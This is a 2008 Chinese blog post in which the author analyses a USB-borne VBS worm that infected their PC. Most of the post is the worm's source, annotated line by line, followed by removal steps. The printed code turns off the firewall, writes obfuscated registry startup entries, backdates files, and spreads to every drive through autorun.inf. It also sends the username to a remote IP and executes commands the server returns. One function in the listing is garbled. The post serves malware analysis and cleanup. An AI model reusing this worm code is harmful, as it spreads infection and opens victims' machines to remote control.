2008年12月7日星期日

今天中招了!

今天很火大,电视剧看的正爽的时候,被舍友叫了下载字幕。我要传给他,然后插了U盘。我点了一下,系统一顿,我就知道出事了!用Total Commander看了下,是一个VBS脚本。我非常郁闷。主要是因为不知道是哪个鸟软件老是强制打开我的自动运行!Shit。我一定要查到源头。被我查到了删无赦!

因为在火头上,所以决定研究一下那个恶心的脚本在我的系统上做了什么东西。因为我完全不懂Windows编程,虽然加上了MSDN文档的帮助,但是依然看的半懂不懂的。以下是脚本分析。有兴趣的可以教我一下我没有解释和解释错误的地方。其实我还是没有把整个循环结构给看明白,但是大致的意思有了。

我把里面的unescape和reverse函数的执行结果贴进去了,否则一串%xxxx太恶心了。

" 创建文件系统对象
set fso=createobject(Scripting.FileSystemObject)
on error resume next
" 创建命令执行对象
set wshshell=createobject(wscript.shell)
dim dri_list,dri_list0
dim issend
issend=0
" 返回系统时间
c_time=date()
" 关闭防火墙
wshshell.run "net stop sharedaccess",0
" 获取驱动器列表
set drvs=fso.drives
" 获取目录 1 是什么文件夹?
sysdir=fso.getspecialfolder(1)
" Returns the full path of the currently running script.当前目录
thispath=wscript.scriptfullname
" 读入脚本文件
set fc=fso.opentextfile(thispath,1)
" 读取所有内容
scopy=fc.readall
" 关闭文件指针
fc.close
" 关闭文件对象
set fc=nothing
" 写入恶心的注册表键值 因为会产生分行,我就不贴过来了。
call writefile(sysdir&"\sysinfo.reg",unescape(strreverse("00c2%00c2%00c2%00c2%00c2%00c2%00c2%00c2%00c2%00c2%00c2%00c2%00c2%00c2%00c2%00a3%92%b82%xehd3%22%emitcexe22%a0%d0%02%22%22%d3%22%sretemarap22%a0%d0%02%22%sbv.gfcnrpc5%c5%23metsysc5%c5%52%ridniw52%22%d3%22%tpircs22%a0%d0%02%d5%0c5%0c5%putratsc5%stpircsc5%enihcamc5%etatsc5%ycilop02%puorgc5%noisrevtnerrucc5%swodniwc5%tfosorcimc5%erawtfosc5%enihcam_lacol_yekhb5%a0%d0%a0%d0%02%00c2%00c2%00c2%00c2%00c2%00c2%00c2%00c2%00c2%00c2%00c2%00c2%00c2%00c2%00c2%00a3%92%b82%xehd3%22%emitcexe22%a0%d0%02%22%22%d3%22%sretemarap22%a0%d0%02%22%sbv.gfcnrpc5%c5%23metsysc5%c5%52%ridniw52%22%d3%22%tpircs22%a0%d0%02%d5%0c5%0c5%putratsc5%stpircsc5%metsysc5%swodniwc5%tfosorcimc5%seicilopc5%erawtfosc5%enihcam_lacol_yekhb5%a0%d0%a0%d0%03%03%e2%53%02%e6%f6%96%37%27%56%65%02%27%f6%47%96%46%54%02%97%27%47%37%96%76%56%25%02%37%77%f6%46%e6%96%75%")))
wshshell.run "regedit /s sysinfo.reg",0
wscript.sleep 200
" 清除痕迹
fso.deletefile sysdir&"\sysinfo.reg",true
" 如果当前路径在sysdir中
if instr(thispath,sysdir)>0 then
" 获得驱动器列表
dri_list0=listdrv()
" 把年份减一
o_time=left(c_time,3)&cstr(int(mid(c_time,4,1))-1)&right(c_time,len(c_time)-4)
" 把时间改成去年
wshshell.run "cmd /c date "&o_time,0
wscript.sleep 10000
" 把程序文件和vbs写入驱动器根目录
for dri_i=1 to len(dri_list0)
call writeauto(mid(dri_list0,dri_i,1)&":\")
next
" 把系统时间改回来
wshshell.run "cmd /c date "&c_time,0

computername="":username=""
" 一个WMI调用。不太懂。
set objwmiservice=getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
set colcomputers = objwmiservice.execquery("select * from win32_computersystem")
for each objcomputer in colcomputers
" 返回计算机名和用户名
computername=objcomputer.name
username=objcomputer.username
next
" 如果用户名不存在,设置为evar
if username="" then username="evar"
" 如果用户名中不存在\,把计算机名和用户名连起来。
if instr(username,"\")<=0 then
username=computername&"\"&username
end if
do
if issend=0 then
" 创建一个serverxmlhttp对象
set xml=createobject(msxml2.serverxmlhttp)
" http://202.119.104.100/zzb/eva/count.asp?a= ->学校里面的IP。操!
xml.open "get",http://202.119.104.100/zzb/eva/count.asp?a=&username,0
xml.setrequestheader "user-agent","evar"
xml.send()
if err.number=0 then
issend=1
" 获取服务器返回值
res=xml.responsetext
" 执行之(不知道返回了什么!)
if ucase(left(res,7))=ucase("execute") then execute res
else
err.clear
end if
set xml=nothing
end if

" 再写一遍脚本和Autorun,还是另一个分支?好混乱的if结构。
dri_list=listdrv()
for dri_k=1 to len(dri_list)
if instr(dri_list0,mid(dri_list,dri_k,1))<=0 then
call writeauto(mid(dri_list,dri_k,1)&":\")
end if
next
dri_list0=dri_list
wscript.sleep 1000
loop

else
" 进入用户目录
wshshell.run "explorer .\",3
wscript.sleep 2000
" 不知道是什么。设置激活程序的快捷键?
wshshell.appactivate 我的电脑
wshshell.sendkeys ucase("% c")
runflag=0
" 创建进程,并控制进程数为1?
for each ps in getobject _
("winmgmts:\\.\root\cimv2:win32_process").instances_
if lcase(ps.name)=lcase("wscript.exe") then
runflag=runflag+1
end if
next
if runflag>=2 then wscript.quit
set sf=fso.getfolder(sysdir)
" 取系统目录的创建时间,取之。
f_time=left(sf.datecreated,instr(sf.datecreated," ")-1)
" 修改系统时间
wshshell.run "cmd /c date "&f_time,0
wscript.sleep 100
" 写入系统文件(使之时间戳于系统目录一致)
call writefile(sysdir&lcase("\prncfg.vbs"),vs(scopy))
" 改回系统时间
wshshell.run "cmd /c date "&c_time,0
" 运行之
wshshell.run sysdir&"\prncfg.vbs"
end if

" 传入脚本内容
function vs(str)
vs=vs&lcase(c)
else
vs=vs&c
end if
next
vs=replace(vs,ucase("%u"),lcase("%u"))
end function

" 返回驱动器列表的函数
function listdrv()
dim tmp_list
tmp_list=""
for each drv in drvs
if drv.isready then
tmp_list=tmp_list&drv.driveletter
end if
next
listdrv=tmp_list
end function

" 写autorun.inf和eva.vbs
sub writeauto(path)
" 妈逼,这个脚本很坏,居然自动检测目录!并删除之。
if fso.folderexists(path&"autorun.inf") then
fso.movefolder path&"autorun.inf",path&rnd()
elseif fso.fileexists(path&"autorun.inf") then
fso.deletefile path&"autorun.inf",true
end if
cmdstr="shell\*\command=wscript.exe "&chr(34)&"eva.vbs"&chr(34)
autostr="[autorun]"&vbcrlf&"open="&vbcrlf&replace(cmdstr,"*","open")&vbcrlf&replace(cmdstr,"*","explore")&vbcrlf&replace(cmdstr,"*","find")
call writefile(path&ucase("autorun.inf"),autostr)
call writefile(path&"eva.vbs",vs(scopy))
end sub

sub writefile(fpath,content)

if fso.fileexists(fpath) then fso.deletefile fpath,true
set fc=fso.opentextfile(fpath,2,true)
fc.write content
fc.close
set fc=nothing
set fa=fso.getfile(fpath)
fa.attributes=7
set fa=nothing
end sub


清除方法:结束wscript进程。删除根目录下的autorun.inf和eva.vbs,删除C:\Windows\System32\prncfg.vbs,清理注册表:删除[hkey_local_machine\software\microsoft\windows\currentversion\group policy\state\machine\scripts\startup\] 键组;删除[hkey_local_machine\software\policies\microsoft\windows\system\]键组。差不多就可以了。

没有评论:

发表评论